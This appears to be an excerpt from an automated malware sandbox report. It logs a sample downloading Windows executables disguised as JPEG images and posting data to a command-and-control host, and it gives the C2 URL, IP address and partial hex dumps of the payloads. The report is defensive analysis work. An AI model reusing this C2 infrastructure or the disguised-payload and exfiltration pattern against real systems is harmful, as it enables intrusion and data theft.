00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 05 00 00 04 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e0 16 00 00 00 50 05 00 00 18 00 00 00 e4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Fri, 03 Nov 2023 17:53:43 GMT Server: Apache Last-Modified: Thu, 06 Jun 2019 19:01:20 GMT Accept-Ranges: bytes Content-Length: 137168 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8d c2 55 b1 c9 a3 3b e2 c9 a3 3b e2 c9 a3 3b e2 c0 db a8 e2 d9 a3 3b e2 57 03 fc e2 cb a3 3b e2 10 c1 38 e3 c7 a3 3b e2 10 c1 3f e3 c2 a3 3b e2 10 c1 3a e3 cd a3 3b e2 10 c1 3e e3 db a3 3b e2 eb c3 3a e3 c0 a3 3b e2 c9 a3 3a e2 77 a3 3b e2 02 c0 3f e3 c8 a3 3b e2 02 c0 3e e3 dd a3 3b e2 02 c0 3b e3 c8 a3 3b e2 02 c0 c4 e2 c8 a3 3b e2 02 c0 39 e3 c8 a3 3b e2 52 69 63 68 c9 a3 3b e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c4 5f eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 7a 01 00 00 86 00 00 00 00 00 00 e0 82 01 00 00 10 00 00 00 90 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 02 00 00 04 00 00 16 33 02 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 40 c0 01 00 74 1e 00 00 b4 de 01 00 2c 01 00 00 00 20 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fa 01 00 d0 1d 00 00 00 30 02 00 68 0c 00 00 00 b9 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 b9 01 00 18 00 00 00 68 b8 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 f4 02 00 00 6c be 01 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ca 78 01 00 00 10 00 00 00 7a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5e 65 00 00 00 90 01 00 00 66 00 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 bc 0b 00 00 00 00 02 00 00 02 00 00 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 00 00 38 00 00 00 00 10 02 00 00 02 00 00 00 e6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 20 02 00 00 04 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0c 00 00 00 30 02 00 00 0e 00 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Fri, 03 Nov 2023 17:53:43 GMT Server: Apache Last-Modified: Thu, 06 Jun 2019 19:01:30 GMT Accept-Ranges: bytes Content-Length: 440120 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a6 c8 bc 41 e2 a9 d2 12 e2 a9 d2 12 e2 a9 d2 12 56 35 3d 12 e0 a9 d2 12 eb d1 41 12 fa a9 d2 12 3b cb d3 13 e1 a9 d2 12 e2 a9 d3 12 22 a9 d2 12 3b cb d1 13 eb a9 d2 12 3b cb d6 13 ee a9 d2 12 3b cb d7 13 f4 a9 d2 12 3b cb da 13 95 a9 d2 12 3b cb d2 13 e3 a9 d2 12 3b cb 2d 12 e3 a9 d2 12 3b cb d0 13 e3 a9 d2 12 52 69 63 68 e2 a9 d2 12 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 16 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 04 06 00 00 82 00 00 00 00 00 00 50 b1 03 00 00 10 00 00 00 20 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 61 7a 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 43 04 00 82 cf 01 00 f4 52 06 00 2c 01 00 00 00 80 06 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 78 06 00 38 3f 00 00 00 90 06 00 34 3a 00 00 f0 66 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 28 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 06 00 f0 02 00 00 98 40 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 03 06 00 00 10 00 00 00 04 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 10 28 00 00 00 20 06 00 00 18 00 00 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 36 14 00 00 00 50 06 00 00 16 00 00 00 20 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 70 06 00 00 02 00 00 00 36 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 03 00 00 00 80 06 00 00 04 00 00 00 38 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 3a 00 00 00 90 06 00 00 3c 00 00 00 3c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Fri, 03 Nov 2023 17:53:43 GMT Server: Apache Last-Modified: Thu, 06 Jun 2019 19:01:44 GMT Accept-Ranges: bytes Content-Length: 1246160 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 23 83 34 8c 67 e2 5a df 67 e2 5a df 67 e2 5a df 6e 9a c9 df 73 e2 5a df be 80 5b de 65 e2 5a df f9 42 9d df 63 e2 5a df be 80 59 de 6a e2 5a df be 80 5f de 6d e2 5a df be 80 5e de 6c e2 5a df 45 82 5b de 6f e2 5a df ac 81 5b de 64 e2 5a df 67 e2 5b df 90 e2 5a df ac 81 5e de 6d e3 5a df ac 81 5a de 66 e2 5a df ac 81 a5 df 66 e2 5a df ac 81 58 de 66 e2 5a df 52 69 63 68 67 e2 5a df 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ad 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 0e 00 00 1e 04 00 00 00 00 00 77 f0 0e 00 00 10 00 00 00 00 0f 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 13 00 00 04 00 00 b7 bb 13 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 9d 11 00 88 a0 00 00 88 3d 12 00 54 01 00 00 00 b0 12 00 70 03 00 00 00 00 00 00 00 00 00 00 00 e6 12 00 d0 1d 00 00 00 c0 12 00 14 7d 00 00 70 97 11 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 97 11 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 81 e8 0e 00 00 10 00 00 00 ea 0e 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 10 52 03 00 00 00 0f 00 00 54 03 00 00 ee 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 47 00 00 00 60 12 00 00 22 00 00 00 42 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 70 03 00 00 00 b0 12 00 00 04 00 00 00 64 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 14 7d 00 00 00 c0 12 00 00 7e 00 00 00 68 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Fri, 03 Nov 2023 17:53:44 GMT Server: Apache Last-Modified: Thu, 06 Jun 2019 19:02:02 GMT Accept-Ranges: bytes Content-Length: 83784 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 01 f9 a3 4e 45 98 cd 1d 45 98 cd 1d 45 98 cd 1d f1 04 22 1d 47 98 cd 1d 4c e0 5e 1d 4e 98 cd 1d 45 98 cc 1d 6c 98 cd 1d 9c fa c9 1c 55 98 cd 1d 9c fa ce 1c 56 98 cd 1d 9c fa c8 1c 41 98 cd 1d 9c fa c5 1c 5f 98 cd 1d 9c fa cd 1c 44 98 cd 1d 9c fa 32 1d 44 98 cd 1d 9c fa cf 1c 44 98 cd 1d 52 69 63 68 45 98 cd 1d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0c 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 00 00 00 20 00 00 00 00 00 00 00 ae 00 00 00 10 00 00 00 00 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 bc 11 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 b0 f0 00 00 14 09 00 00 c0 10 01 00 8c 00 00 00 00 20 01 00 08 04 00 00 00 00 00 00 00 00 00 00 00 08 01 00 48 3f 00 00 00 30 01 00 94 0a 00 00 b0 1f 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 1f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 e9 00 00 00 10 00 00 00 ea 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 44 06 00 00 00 00 01 00 00 02 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b8 05 00 00 00 10 01 00 00 06 00 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 08 04 00 00 00 20 01 00 00 06 00 00 00 f6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 0a 00 00 00 30 01 00 00 0c 00 00 00 fc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Posts data to a JPG file (protocol mismatch)

Source: unknown

HTTP traffic detected: POST /os//6.jpg HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 25Host: 9enternecera.ru.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 2d 2d 0d 0a Data Ascii: --1BEF0A57BE110FD467A--

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 9enternecera.ru.com/os/

Source: Joe Sandbox View

ASN Name: NETWORK-LEAPSWITCH-INLeapSwitchNetworksPvtLtdIN NETWORK-LEAPSWITCH-INLeapSwitchNetworksPvtLtdIN

Source: global traffic	HTTP traffic detected: POST /os//6.jpg HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 25Host: 9enternecera.ru.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 2d 2d 0d 0a Data Ascii: --1BEF0A57BE110FD467A--
Source: global traffic	HTTP traffic detected: POST /os//1.jpg HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 25Host: 9enternecera.ru.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 2d 2d 0d 0a Data Ascii: --1BEF0A57BE110FD467A--
Source: global traffic	HTTP traffic detected: POST /os//2.jpg HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 25Host: 9enternecera.ru.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 2d 2d 0d 0a Data Ascii: --1BEF0A57BE110FD467A--
Source: global traffic	HTTP traffic detected: POST /os//3.jpg HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 25Host: 9enternecera.ru.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 2d 2d 0d 0a Data Ascii: --1BEF0A57BE110FD467A--
Source: global traffic	HTTP traffic detected: POST /os//4.jpg HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 25Host: 9enternecera.ru.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 2d 2d 0d 0a Data Ascii: --1BEF0A57BE110FD467A--
Source: global traffic	HTTP traffic detected: POST /os//5.jpg HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 25Host: 9enternecera.ru.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 2d 2d 0d 0a Data Ascii: --1BEF0A57BE110FD467A--
Source: global traffic	HTTP traffic detected: POST /os//7.jpg HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 25Host: 9enternecera.ru.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 2d 2d 0d 0a Data Ascii: --1BEF0A57BE110FD467A--
Source: global traffic	HTTP traffic detected: POST /os//main.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 25Host: 9enternecera.ru.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 2d 2d 0d 0a Data Ascii: --1BEF0A57BE110FD467A--
Source: global traffic	HTTP traffic detected: POST /os/ HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 75007Host: 9enternecera.ru.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 103.83.194.50 103.83.194.50
Source: Joe Sandbox View	IP Address: 103.83.194.50 103.83.194.50

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 03 Nov 2023 17:53:41 GMTServer: ApacheLast-Modified: Thu, 06 Jun 2019 19:01:52 GMTAccept-Ranges: bytesContent-Length: 144848Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: image/jpegData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 6c 24 1c e6 0d 4a 4f e6 0d 4a 4f e6 0d 4a 4f ef 75 d9 4f ea 0d 4a 4f 3f 6f 4b 4e e4 0d 4a 4f 3f 6f 49 4e e4 0d 4a 4f 3f 6f 4f 4e ec 0d 4a 4f 3f 6f 4e 4e ed 0d 4a 4f c4 6d 4b 4e e4 0d 4a 4f 2d 6e 4b 4e e5 0d 4a 4f e6 0d 4b 4f 7e 0d 4a 4f 2d 6e 4e 4e f2 0d 4a 4f 2d 6e 4a 4e e7 0d 4a 4f 2d 6e b5 4f e7 0d 4a 4f 2d 6e 48 4e e7 0d 4a 4f 52 69 63 68 e6 0d 4a 4f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bf 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 b6 01 00 00 62 00 00 00 00 00 00 97 bc 01 00 00 10 00 00 00 d0 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 50 02 00 00 04 00 00 09 b1 02 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 03 02 00 a8 00 00 00 b8 03 02 00 c8 00 00 00 00 30 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 18 02 00 d0 1d 00 00 00 40 02 00 60 0e 00 00 d0 fe 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 ff 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 01 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cb b4 01 00 00 10 00 00 00 b6 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0a 44 00 00 00 d0 01 00 00 46 00 00 00 ba 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 07 00 00 00 20 02 00 00 04 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 30 02 00 00 04 00 00 00 04 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 60 0e 00 00 00 40 02 00 00 10 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
